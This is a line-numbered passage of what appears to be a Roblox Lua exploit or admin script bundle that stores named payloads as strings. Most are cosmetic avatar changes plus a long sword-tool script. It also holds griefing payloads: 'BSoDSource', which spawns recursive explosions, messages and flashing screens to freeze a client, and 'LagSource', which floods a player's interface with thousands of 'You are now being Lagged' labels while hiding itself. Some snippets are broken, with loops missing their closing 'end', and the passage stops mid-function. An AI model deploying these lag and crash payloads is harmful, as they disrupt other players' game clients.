  7287. fac = false local bgg = it('BodyGyro',to)
  7288. ---- TUT05Cobalt1164
  7289. q(function() while wait() do
  7290. if caw then hu.WalkSpeed = wss else hu.WalkSpeed = 0 end
  7291. if fac then bgg.maxTorque = v3(1/0,1/0,1/0) bgg.D = 50 bgg.cframe = cn(to.Position,v3(mouse.hit.p.x,to.Position.y,mouse.hit.p.z)) else bgg.maxTorque = v3(0,0,0) end
  7292. end end)
  7293. ]]
  7294. LoopJump = [[
  7295. char = game:service'Players'.LocalPlayer.Character
  7296. for i = 1, 1500 do
  7297. char.Humanoid.Jump = true
  7298. ]]
  7299. LoopKill = [[
  7300. char = game:service'Players'.LocalPlayer.Character
  7301. for i = 1, 1500 do
  7302. char.Humanoid.Health = 0
  7303. ]]
  7304. Nkd = [[
  7305. char = game:service'Players'.LocalPlayer.Character
  7306. char:FindFirstChild("Shirt"):Remove()
  7307. char:FindFirstChild("Pants"):Remove()
  7308. ]]
  7309. Noob = [[
  7310. char = game:service'Players'.LocalPlayer.Character
  7311. char:FindFirstChild("Head").BrickColor = BrickColor.new("Bright yellow")
  7312. char:FindFirstChild("Torso").BrickColor = BrickColor.new("Bright green")
  7313. char:FindFirstChild("Right Leg").BrickColor = BrickColor.new("Bright blue")
  7314. char:FindFirstChild("Left Leg").BrickColor = BrickColor.new("Bright blue")
  7315. char:FindFirstChild("Right Arm").BrickColor = BrickColor.new("Bright yellow")
  7316. char:FindFirstChild("Left Arm").BrickColor = BrickColor.new("Bright yellow")
  7317. ]]
  7318. Shiny = [[
  7319. char = game:service'Players'.LocalPlayer.Character
  7320. char:FindFirstChild("Head").Reflectance = 1
  7321. char:FindFirstChild("Torso").Reflectance = 1
  7322. char:FindFirstChild("Right Leg").Reflectance = 1
  7323. char:FindFirstChild("Left Leg").Reflectance = 1
  7324. char:FindFirstChild("Right Arm").Reflectance = 1
  7325. char:FindFirstChild("Left Arm").Reflectance = 1
  7326. ]]
  7327. Unshiny = [[
  7328. char = game:service'Players'.LocalPlayer.Character
  7329. char:FindFirstChild("Head").Reflectance = 0
  7330. char:FindFirstChild("Torso").Reflectance = 0
  7331. char:FindFirstChild("Right Leg").Reflectance = 0
  7332. char:FindFirstChild("Left Leg").Reflectance = 0
  7333. char:FindFirstChild("Right Arm").Reflectance = 0
  7334. char:FindFirstChild("Left Arm").Reflectance = 0
  7335. ]]
  7336. Invisible = [[
  7337. char = game:service'Players'.LocalPlayer.Character
  7338. char:FindFirstChild("Head").Transparency = 1
  7339. char:FindFirstChild("Torso").Transparency = 1
  7340. char:FindFirstChild("Right Leg").Transparency = 1
  7341. char:FindFirstChild("Left Leg").Transparency = 1
  7342. char:FindFirstChild("Right Arm").Transparency = 1
  7343. char:FindFirstChild("Left Arm").Transparency = 1
  7344.  
  7345.  
  7346. ]]
  7347. Ghostify = [[
  7348. char = game:service'Players'.LocalPlayer.Character
  7349. char:FindFirstChild("Head").Transparency = 0.5
  7350. char:FindFirstChild("Torso").Transparency = 0.5
  7351. char:FindFirstChild("Right Leg").Transparency = 0.5
  7352. char:FindFirstChild("Left Leg").Transparency = 0.5
  7353. char:FindFirstChild("Right Arm").Transparency = 0.5
  7354. char:FindFirstChild("Left Arm").Transparency = 0.5
  7355. ]]
  7356. Visible = [[
  7357. char = game:service'Players'.LocalPlayer.Character
  7358. char:FindFirstChild("Head").Transparency = 0
  7359. char:FindFirstChild("Torso").Transparency = 0
  7360. char:FindFirstChild("Right Leg").Transparency = 0
  7361. char:FindFirstChild("Left Leg").Transparency = 0
  7362. char:FindFirstChild("Right Arm").Transparency = 0
  7363. char:FindFirstChild("Left Arm").Transparency = 0
  7364. ]]
  7365. BSoDSource = [[
  7366. wait()
  7367. script.Parent = game:service'TeleportService'
  7368. CC = game.Workspace.CurrentCamera
  7369. RS = game:service("RunService")
  7370. PG = game.Players.LocalPlayer.PlayerGui
  7371. C = game.Players.LocalPlayer.Character
  7372. function Lag()
  7373. coroutine.resume(coroutine.create(function()
  7374. while wait() do
  7375. M = Instance.new("Message",CC)
  7376. M.Text = tick()*math.floor(5%4*21)
  7377. H = Instance.new("Hint",CC)
  7378. H.Text = 'Get out from this place!'
  7379. SG=Instance.new("ScreenGui",PG)
  7380. FR=Instance.new("Frame",SG)
  7381. FR.Size = UDim2.new(500,500,500,500)
  7382. while wait() do
  7383. FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
  7384. end
  7385. P=Instance.new("Part",CC)
  7386. E=Instance.new("Explosion",P)
  7387. E.BlastRadius=math.huge
  7388. E.Position=P.Position
  7389. F=Instance.new("Fire",P)
  7390. S=Instance.new("Smoke",P)
  7391. P.CFrame = CC.Focus
  7392. P.Anchored = true
  7393. P.CanCollide = false
  7394. P.AncestryChanged:connect(function()Lag()end)
  7395. for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end
  7396. end
  7397. end))
  7398. end
  7399. RS.Stepped:connect(function()for i=1,10 do Lag()Lag()Lag()end end)
  7400. ]]
  7401. LagSource = [[
  7402. wait(0)
  7403. script.Parent = nil
  7404. plr = game:GetService("Players").LocalPlayer
  7405. local plrgui = plr:findFirstChild("PlayerGui")
  7406. if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
  7407. while plr.Parent == game:GetService("Players") do
  7408. wait()
  7409. for i = 1, 1000 do
  7410. local sc = Instance.new("ScreenGui",plrgui)
  7411. local fr = Instance.new("TextLabel",sc)
  7412. fr.Text = "You are now being Lagged,Have fun."
  7413. fr.Size = UDim2.new(1, 0, 1, 0)
  7414. fr.FontSize = "Size48"
  7415. end
  7416. end
  7417. ]]
  7418. YamatoSword = [[
  7419. Player = game:GetService("Players").LocalPlayer
  7420. Character = Player.Character
  7421. PlayerGui = Player.PlayerGui
  7422. Backpack = Player.Backpack
  7423. Torso = Character.Torso
  7424. Head = Character.Head
  7425. LeftArm = Character["Left Arm"]
  7426. LeftLeg = Character["Left Leg"]
  7427. RightArm = Character["Right Arm"]
  7428. RightLeg = Character["Right Leg"]
  7429. LS = Torso["Left Shoulder"]
  7430. LH = Torso["Left Hip"]
  7431. RS = Torso["Right Shoulder"]
  7432. RH = Torso["Right Hip"]
  7433. ModelName = "Weapon"
  7434. ToolName = "Yamato"
  7435. attack = false
  7436. attacktype = 1
  7437. mindamage = 15
  7438. maxdamage = 25
  7439. crtmaxdamage = 45
  7440. omindamage = 15
  7441. omaxdamage = 25
  7442. ocrtmaxdamage = 45
  7443. crtrate = 12
  7444. fireboost = 0
  7445. iceboost = 0
  7446. darkboost = 0
  7447. Mode = "None"
  7448. ssh = false
  7449. atktypez = 1
  7450. Hitdeb = 0
  7451. ammo = 1
  7452. MMouse = nil
  7453. point = false
  7454. offset = 0
  7455. radv = 90
  7456. ----------------------------
  7457. --Customize
  7458. DarkFire = true
  7459. MaxFT = 40
  7460.  
  7461.  
  7462.  
  7463. ---------------------------------------------------------------------------------------------------------------------------------------
  7464. if Character:findFirstChild("EquippedVal",true) ~= nil then
  7465. Character:findFirstChild("EquippedVal",true).Parent = nil
  7466. end
  7467. ev = Instance.new("BoolValue")
  7468. ev.Parent = Character
  7469. ev.Name = "EquippedVal"
  7470. ev.Value = false
  7471. --player
  7472. player = nil
  7473. --welds
  7474. RW, LW , RWL, LWL = Instance.new("Weld"), Instance.new("Weld"), Instance.new("Weld"), Instance.new("Weld")
  7475. --what anim
  7476. anim = "none"
  7477. --other var
  7478. player = Player
  7479. ch = Character
  7480. --save shoulders
  7481. AoETrue = {}
  7482. RSH, LSH , RHL, LHL = ch.Torso["Right Shoulder"], ch.Torso["Left Shoulder"] , ch.Torso["Right Hip"] , ch.Torso["Left Hip"]
  7483.  
  7484. function RWFunc()
  7485. RW.Part1 = ch["Right Arm"]
  7486. RSH.Part1 = nil
  7487. end
  7488. function LWFunc()
  7489. LW.Part1 = ch["Left Arm"]
  7490. LSH.Part1 = nil
  7491. end
  7492. function RWLFunc()
  7493. RWL.Part1 = ch["Right Leg"]
  7494. RHL.Part1 = nil
  7495. ch["Right Leg"].Name = "RightLeg"
  7496. RightLeg.CanCollide = false
  7497. end
  7498. function LWLFunc()
  7499. LWL.Part1 = ch["Left Leg"]
  7500. LHL.Part1 = nil
  7501. ch["Left Leg"].Name = "LeftLeg"
  7502. LeftLeg.CanCollide = true
  7503. end
  7504. function RWLRem()
  7505. RightLeg.Name = "Right Leg"
  7506. RWL.Part1 = nil
  7507. RHL.Part1 = ch["Right Leg"]
  7508. RightLeg.CanCollide = false
  7509. end
  7510. function LWLRem()
  7511. LeftLeg.Name = "Left Leg"
  7512. LWL.Part1 = nil
  7513. LHL.Part1 = ch["Left Leg"]
  7514. LeftLeg.CanCollide = false
  7515. end
  7516. function RWRem()
  7517. RW.Part1 = nil
  7518. RSH.Part1 = ch["Right Arm"]
  7519. end
  7520. function LWRem()
  7521. LW.Part1 = nil
  7522. LSH.Part1 = ch["Left Arm"]
  7523. end
  7524.  
  7525.  
  7526. if Character:findFirstChild(ModelName,true) ~= nil then
  7527. Character:findFirstChild(ModelName,true).Parent = nil
  7528. RHL.Part1 = ch["Right Leg"]
  7529. LHL.Part1 = ch["Left Leg"]
  7530. RSH.Part1 = ch["Right Arm"]
  7531. LSH.Part1 = ch["Left Arm"]
  7532. end
  7533.  
  7534.  
  7535.  
  7536. local swordholder = Instance.new("Model")
  7537. swordholder.Name = ModelName
  7538. swordholder.Parent = Character
  7539. --derp
  7540. RW.Part0 = ch.Torso
  7541. RW.C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
  7542. RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
  7543. RW.Parent = swordholder
  7544. --
  7545. LW.Part0 = ch.Torso
  7546. LW.C0 = CFrame.new(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8)
  7547. LW.C1 = CFrame.new(0, 0.5, 0)
  7548. LW.Parent = swordholder
  7549. --
  7550. RWL.Part0 = ch.Torso
  7551. RWL.C0 = CFrame.new(1, -1, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5)
  7552. RWL.C1 = CFrame.new(0.5, 1, 0)
  7553. RWL.Parent = swordholder
  7554. --
  7555. LWL.Part0 = ch.Torso
  7556. LWL.C0 = CFrame.new(-1, -1, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8)
  7557. LWL.C1 = CFrame.new(-0.5, 1, 0)
  7558. LWL.Parent = swordholder
  7559. handlecolor = BrickColor.new("Really black")
  7560. scndryclr = BrickColor.new("Bright violet")
  7561. firepri = BrickColor.new("Bright red")
  7562. icepri = BrickColor.new("Bright blue")
  7563. local msh1 = Instance.new("CylinderMesh")
  7564. msh1.Scale = Vector3.new(1,1,1)
  7565. local msh2 = Instance.new("BlockMesh")
  7566. msh2.Scale = Vector3.new(1,1,1)
  7567. --
  7568. local msh3 = Instance.new("BlockMesh")
  7569. msh3.Scale = Vector3.new(1,1,1)
  7570. local msh3a = Instance.new("SpecialMesh")
  7571. msh3a.Scale = Vector3.new(1,1,1)
  7572. msh3a.MeshType = "Wedge"
  7573. local msh4 = Instance.new("BlockMesh")
  7574. msh4.Scale = Vector3.new(1,1,1)
  7575. local msh4a = Instance.new("SpecialMesh")
  7576. msh4a.Scale = Vector3.new(1,1,1)
  7577. msh4a.MeshType = "Wedge"
  7578. --
  7579. local msh5 = Instance.new("SpecialMesh")
  7580. msh5.Scale = Vector3.new(1,1,2)
  7581. msh5.MeshId = "http://www.roblox.com/asset/?id=3270017"
  7582. local msh6 = Instance.new("BlockMesh")
  7583. msh6.Scale = Vector3.new(1,1,0.5)
  7584. local msh7 = Instance.new("BlockMesh")
  7585. msh7.Scale = Vector3.new(1,1,1)
  7586. local msh8 = Instance.new("BlockMesh")
  7587. msh8.Scale = Vector3.new(0.5,1,1)
  7588. local prt1 = Instance.new("Part")
  7589. prt1.formFactor = 3
  7590. prt1.CanCollide = false
  7591. prt1.Name = "Handle"
  7592. prt1.Locked = true
  7593. prt1.Size = Vector3.new(0.2,1.5,0.2)
  7594. prt1.Parent = swordholder
  7595. msh1.Parent = prt1
  7596. prt1.BrickColor = handlecolor
  7597. local prt2 = Instance.new("Part")
  7598. prt2.formFactor = 3
  7599. prt2.CanCollide = false
  7600. prt2.Name = "HandleTop"
  7601. prt2.Locked = true
  7602. prt2.Size = Vector3.new(1.6,0.2,0.5)
  7603. prt2.Parent = swordholder
  7604. msh2.Parent = prt2
  7605. prt2.BrickColor = scndryclr
  7606. ---
  7607. local prt3 = Instance.new("Part")
  7608. prt3.formFactor = 3
  7609. prt3.CanCollide = false
  7610. prt3.Name = "FlameBlade"
  7611. prt3.Locked = true
  7612. prt3.Size = Vector3.new(0.4,3,0.2)
  7613. prt3.Parent = swordholder
  7614. msh3.Parent = prt3
  7615. prt3.BrickColor = firepri
  7616. prt3.Reflectance = 0
  7617. local prt3a = Instance.new("Part")
  7618. prt3a.formFactor = 3
  7619. prt3a.CanCollide = false
  7620. prt3a.Name = "FlameBladeP1"
  7621. prt3a.Locked = true
  7622. prt3a.Size = Vector3.new(0.2,1,0.4)
  7623. prt3a.Parent = swordholder
  7624. msh3a.Parent = prt3a
  7625. prt3a.BrickColor = firepri
  7626. prt3a.Reflectance = 0
  7627. --
  7628. local prt4 = Instance.new("Part")
  7629. prt4.formFactor = 3
  7630. prt4.CanCollide = false
  7631. prt4.Name = "FrostBlade"
  7632. prt4.Locked = true
  7633. prt4.Size = Vector3.new(0.4,3,0.2)
  7634. prt4.Parent = swordholder
  7635. msh4.Parent = prt4
  7636. prt4.BrickColor = icepri
  7637. prt4.Reflectance = 0.5
  7638. local prt4a = Instance.new("Part")
  7639. prt4a.formFactor = 3
  7640. prt4a.CanCollide = false
  7641. prt4a.Name = "FrostBladeP1"
  7642. prt4a.Locked = true
  7643. prt4a.Size = Vector3.new(0.2,1,0.4)
  7644. prt4a.Parent = swordholder
  7645. msh4a.Parent = prt4a
  7646. prt4a.BrickColor = icepri
  7647. prt4a.Reflectance = 0.5
  7648. --
  7649. local prt5 = Instance.new("Part")
  7650. prt5.formFactor = 3
  7651. prt5.CanCollide = false
  7652. prt5.Name = "HandleRing"
  7653. prt5.Locked = true
  7654. prt5.Size = Vector3.new(1,1,0.2)
  7655. prt5.Parent = swordholder
  7656. msh5.Parent = prt5
  7657. prt5.BrickColor = scndryclr
  7658. prt5.Reflectance = 0
  7659. local DFlame = Instance.new("Fire")
  7660. DFlame.Parent = prt5
  7661. DFlame.Color = Color3.new(0.5,0,0.5)
  7662. DFlame.SecondaryColor = Color3.new(0.5,0,0.5)
  7663. DFlame.Heat = 25
  7664. DFlame.Size = 1
  7665. DFlame.Enabled = DarkFire
  7666. local prt6 = Instance.new("Part")
  7667. prt6.formFactor = 3
  7668. prt6.CanCollide = false
  7669. prt6.Name = "HandleP1"
  7670. prt6.Locked = true
  7671. prt6.Size = Vector3.new(0.2,1.5,0.2)
  7672. prt6.Parent = swordholder
  7673. msh6.Parent = prt6
  7674. prt6.BrickColor = scndryclr
  7675. prt6.Reflectance = 0
  7676. local prt7 = Instance.new("Part")
  7677. prt7.formFactor = 3
  7678. prt7.CanCollide = false
  7679. prt7.Name = "HandleP2"
  7680. prt7.Locked = true
  7681. prt7.Size = Vector3.new(0.7,0.2,0.2)
  7682. prt7.Parent = swordholder
  7683. msh7.Parent = prt7
  7684. prt7.BrickColor = scndryclr
  7685. prt7.Reflectance = 0
  7686. local prt8 = Instance.new("Part")
  7687. prt8.formFactor = 3
  7688. prt8.CanCollide = false
  7689. prt8.Name = "DarkBlade"
  7690. prt8.Locked = true
  7691. prt8.Size = Vector3.new(0.2,4,0.2)
  7692. prt8.Parent = swordholder
  7693. msh8.Parent = prt8
  7694. prt8.BrickColor = handlecolor
  7695. prt8.Transparency = 1
  7696. local hitbox = Instance.new("Part")
  7697. hitbox.formFactor = 3
  7698. hitbox.CanCollide = false
  7699. hitbox.Name = "Hitbox"
  7700. hitbox.Locked = true
  7701. hitbox.Size = Vector3.new(1,4,0.2)
  7702. hitbox.Parent = swordholder
  7703. hitbox.Transparency = 1
  7704. local hbw = Instance.new("Weld")
  7705. hbw.Parent = hitbox
  7706. hbw.Part0 = hitbox
  7707. hbw.Part1 = prt1
  7708. hbw.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
  7709. hbw.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(0, -2.95, 0)
  7710.  
  7711. local w1 = Instance.new("Weld")
  7712. w1.Parent = prt1
  7713. w1.Part0 = prt1
  7714. local w2 = Instance.new("Weld")
  7715. w2.Parent = prt2
  7716. w2.Part0 = prt2
  7717. w2.Part1 = prt1
  7718. w2.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
  7719. w2.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(0, -0.85, 0)
  7720. --
  7721. local w3 = Instance.new("Weld")
  7722. w3.Parent = prt3
  7723. w3.Part0 = prt3
  7724. w3.Part1 = prt1
  7725. w3.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
  7726. w3.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(0.25, -2.45, 0)
  7727. local w3a = Instance.new("Weld")
  7728. w3a.Parent = prt3a
  7729. w3a.Part0 = prt3a
  7730. w3a.Part1 = prt1
  7731. w3a.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
  7732. w3a.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(-90),0) * CFrame.new(0.25, -4.45, 0)
  7733. local w4 = Instance.new("Weld")
  7734. w4.Parent = prt4
  7735. w4.Part0 = prt4
  7736. w4.Part1 = prt1
  7737. w4.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
  7738. w4.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(-0.25, -2.45, 0)
  7739. local w4a = Instance.new("Weld")
  7740. w4a.Parent = prt4a
  7741. w4a.Part0 = prt4a
  7742. w4a.Part1 = prt1
  7743. w4a.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
  7744. w4a.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(90),0) * CFrame.new(-0.25, -4.45, 0)
  7745. --
  7746. local w5 = Instance.new("Weld")
  7747. w5.Parent = prt5
  7748. w5.Part0 = prt5
  7749. w5.Part1 = prt1
  7750. w5.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
  7751. w5.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(-0, -0.85, 0)
  7752. local w6 = Instance.new("Weld")
  7753. w6.Parent = prt6
  7754. w6.Part0 = prt6
  7755. w6.Part1 = prt1
  7756. w6.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
  7757. w6.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(-0.5, -0, 0)
  7758. local w7 = Instance.new("Weld")
  7759. w7.Parent = prt7
  7760. w7.Part0 = prt7
  7761. w7.Part1 = prt1
  7762. w7.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
  7763. w7.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(-0.25, 0.75, 0)
  7764. local w8 = Instance.new("Weld")
  7765. w8.Parent = prt8
  7766. w8.Part0 = prt8
  7767. w8.Part1 = prt1
  7768. w8.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
  7769. w8.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(0, -2.95, 0)
  7770. for ringi = 0 , math.rad(350) , math.rad(50) do
  7771. local ringm = Instance.new("BlockMesh")
  7772. ringm.Scale = Vector3.new(1,1.5,1)
  7773. local ringp = Instance.new("Part")
  7774. ringp.formFactor = 3
  7775. ringp.CanCollide = false
  7776. ringp.Name = "HandleRingP"..ringi
  7777. ringp.Locked = true
  7778. ringp.Size = Vector3.new(0.2,0.2,0.2)
  7779. ringp.Parent = swordholder
  7780. ringm.Parent = ringp
  7781. ringp.BrickColor = scndryclr
  7782. ringp.Reflectance = 0.1
  7783. local ringw = Instance.new("Weld")
  7784. ringw.Parent = ringp
  7785. ringw.Part0 = ringp
  7786. ringw.Part1 = prt5
  7787. ringw.C1 = CFrame.fromEulerAnglesXYZ(math.rad(90), -ringi, 0) * CFrame.new(0, 0 , 0)
  7788. ringw.C0 = CFrame.fromEulerAnglesXYZ(0, 0,0) * CFrame.new(-msh5.Scale.x/1.625, 0, 0) --* CFrame.new(-0.6, 0, 0) ---msh5.Scale.z/3.25
  7789. end
  7790.  
  7791. local Objects = {}
  7792. function getAllObjects(obj)
  7793. for a,v in pairs(obj:GetChildren()) do
  7794. if v:IsA("BasePart") then
  7795. table.insert(Objects,v)
  7796. end
  7797. if #v:GetChildren() > 0 then
  7798. getAllObjects(v)
  7799. end
  7800. end
  7801. end
  7802. getAllObjects(Workspace)
  7803. function Raycast(Start,End,Range)
  7804. --
  7805. for ii = 0 , #Objects do
  7806. table.remove(Objects,ii)
  7807. end
  7808. getAllObjects(Workspace)
  7809. local MA = math.abs
  7810. local CF = CFrame.new(Start,End)
  7811. local CP = Start
  7812. for i = 1, Range do--(Start - End).magnitude do
  7813. for b,v in pairs(Objects) do
  7814. if v.Parent ~= nil then
  7815. local pos = Start + (CF.lookVector*i)
  7816. local dist = v.CFrame:pointToObjectSpace(pos)
  7817. if MA(dist.x) < v.Size.x/2 and MA(dist.y) < v.Size.y/2 and MA(dist.z) < v.Size.z/2 then
  7818. if v.Parent ~= Character or v.Parent ~= swordholder or v.Parent.Parent ~= Character then
  7819. return v,Start,pos
  7820. end
  7821. end
  7822. end
  7823. end
  7824. end
  7825. return nil,Start,End
  7826. end
  7827. local RAP = Instance.new("Part")
  7828. RAP.formFactor = 0
  7829. RAP.CanCollide = false
  7830. RAP.Name = "RAPart"
  7831. RAP.Locked = true
  7832. RAP.Size = Vector3.new(1,1,1)
  7833. RAP.Parent = swordholder
  7834. RAP.Transparency = 1
  7835. local w = Instance.new("Weld")
  7836. w.Parent = RAP
  7837. w.Part0 = RAP
  7838. w.Part1 = RightArm
  7839. w.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  7840. w.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0, 0) * CFrame.new(0, 1, 0)
  7841.  
  7842. function unequipweld()
  7843. w1.Part1 = Torso
  7844. w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), math.rad(0)) * CFrame.new(0, 0,0)
  7845. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0),math.rad(180), math.rad(-150)) * CFrame.new(-1, -1.5, -0.6)
  7846. end
  7847. unequipweld()
  7848.  
  7849. function equipweld()
  7850. w1.Part1 = RAP
  7851. w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  7852. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2)
  7853. end
  7854.  
  7855. function ss(parent,p) --Slash
  7856. local SlashSound = Instance.new("Sound")
  7857. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  7858. SlashSound.Parent = parent
  7859. SlashSound.Volume = .7
  7860. SlashSound.Pitch = p
  7861. SlashSound.PlayOnRemove = true
  7862. coroutine.resume(coroutine.create(function()
  7863. wait()
  7864. SlashSound.Parent = nil
  7865. end))
  7866. end
  7867. function uss(parent,p) --unsheath
  7868. local SlashSound = Instance.new("Sound")
  7869. SlashSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  7870. SlashSound.Parent = parent
  7871. SlashSound.Volume = .7
  7872. SlashSound.Pitch = p
  7873. SlashSound.PlayOnRemove = true
  7874. coroutine.resume(coroutine.create(function()
  7875. wait()
  7876. SlashSound.Parent = nil
  7877. end))
  7878. end
  7879. function cs(parent,p) --Magic Charge
  7880. local SlashSound = Instance.new("Sound")
  7881. SlashSound.SoundId = "http://www.roblox.com/asset/?id=2101137"
  7882. SlashSound.Parent = parent
  7883. SlashSound.Volume = .7
  7884. SlashSound.Pitch = p
  7885. SlashSound.PlayOnRemove = true
  7886. coroutine.resume(coroutine.create(function()
  7887. wait()
  7888. SlashSound.Parent = nil
  7889. end))
  7890. end
  7891. function ls(parent,p) --Lazer Sound
  7892. local SlashSound = Instance.new("Sound")
  7893. SlashSound.SoundId = "http://www.roblox.com/asset?id=1369158"
  7894. SlashSound.Parent = parent
  7895. SlashSound.Volume = .7
  7896. SlashSound.Pitch = p
  7897. SlashSound.PlayOnRemove = true
  7898. coroutine.resume(coroutine.create(function()
  7899. wait()
  7900. SlashSound.Parent = nil
  7901. end))
  7902. end
  7903. function is(parent,p) --Ice Sound
  7904. local SlashSound = Instance.new("Sound")
  7905. local rndm = math.random(1,3)
  7906. if rndm == 1 then
  7907. SlashSound.SoundId = "rbxasset://sounds\\ice.ogg"
  7908. elseif rndm == 2 then
  7909. SlashSound.SoundId = "rbxasset://sounds\\ice2.ogg"
  7910. elseif rndm == 3 then
  7911. SlashSound.SoundId = "rbxasset://sounds\\ice3.ogg"
  7912. end
  7913. SlashSound.Parent = parent
  7914. SlashSound.Volume = .7
  7915. SlashSound.Pitch = p
  7916. SlashSound.PlayOnRemove = true
  7917. coroutine.resume(coroutine.create(function()
  7918. wait()
  7919. SlashSound.Parent = nil
  7920. end))
  7921. end
  7922. function fs(parent,p) --Fire Sound
  7923. local SlashSound = Instance.new("Sound")
  7924. SlashSound.SoundId = "http://www.roblox.com/asset/?id=31758982"
  7925. SlashSound.Parent = parent
  7926. SlashSound.Volume = .7
  7927. SlashSound.Pitch = p
  7928. SlashSound.PlayOnRemove = true
  7929. coroutine.resume(coroutine.create(function()
  7930. wait()
  7931. SlashSound.Parent = nil
  7932. end))
  7933. end
  7934. function bs(parent,p) --Boom Sound
  7935. local SlashSound = Instance.new("Sound")
  7936. SlashSound.SoundId = "rbxasset://sounds/Rocket shot.wav"
  7937. SlashSound.Parent = parent
  7938. SlashSound.Volume = .7
  7939. SlashSound.Pitch = p
  7940. SlashSound.PlayOnRemove = true
  7941. coroutine.resume(coroutine.create(function()
  7942. wait()
  7943. SlashSound.Parent = nil
  7944. end))
  7945. end
  7946. --
  7947.  
  7948.  
  7949. function hideanim()
  7950. attack = true
  7951. for i = 0 , 1 , 0.2 do
  7952. wait()
  7953. RW.C0 = CFrame.new(1+0.5*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80+67*i), math.rad(45), math.rad(-45+90*i))
  7954. LW.C0 = CFrame.new(-1-0.5*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80-80*i),math.rad(-45+45*i),math.rad(45-45*i))
  7955. end
  7956. LWRem()
  7957. for i = 0 , 1 , 0.15 do
  7958. wait()
  7959. RW.C0 = CFrame.new(1.5,0.5+0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(147+103*i), math.rad(45), math.rad(45-35*i))
  7960. end
  7961. unequipweld()
  7962. wait(0.1)
  7963. for i = 0 , 1 , 0.1 do
  7964. wait()
  7965. RW.C0 = CFrame.new(1.5,1-0.5*i,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(250-250*i), math.rad(45-45*i), math.rad(10-10*i))
  7966. end
  7967. RWRem()
  7968. attack = false
  7969. end
  7970.  
  7971. function equipanim()
  7972. attack = true
  7973. RWFunc()
  7974. for i = 0 , 1 , 0.1 do
  7975. wait()
  7976. RW.C0 = CFrame.new(1.5,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(250*i), math.rad(45*i), math.rad(-10*i))
  7977. end
  7978. equipweld()
  7979. uss(Head,1)
  7980. for i = 0 , 1 , 0.2 do
  7981. wait()
  7982. RW.C0 = CFrame.new(1.5,0.5+0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(250-102.5*i), math.rad(45), math.rad(-10+27.5*i))
  7983. end
  7984. for i = 0 , 1 , 0.15 do
  7985. wait()
  7986. RW.C0 = CFrame.new(1.5,1-0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(147-67*i), math.rad(45), math.rad(17.5+27.5*i))
  7987. end
  7988. LWFunc()
  7989. for i = 0 , 1 , 0.1 do
  7990. wait()
  7991. RW.C0 = CFrame.new(1.5-0.5*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80), math.rad(45), math.rad(45-90*i))
  7992. LW.C0 = CFrame.new(-1.5+0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80*i),math.rad(-45*i),math.rad(45*i))
  7993. end
  7994. attack = false
  7995. end
  7996.  
  7997. if (script.Parent.className ~= "HopperBin") then
  7998. Tool = Instance.new("HopperBin")
  7999. Tool.Parent = Backpack
  8000. Tool.Name = ToolName
  8001. script.Parent = Tool
  8002. end
  8003. Bin = script.Parent
  8004.  
  8005. function damagesplat(dmg,hit,critornot,healornot)
  8006. local OffsetX = -2.5
  8007. local OffsetY = 5
  8008. local OffsetZ = 0
  8009. local bill = Instance.new("BillboardGui")
  8010. bill.Size = UDim2.new(1,0,1,0)
  8011. bill.Adornee = hit
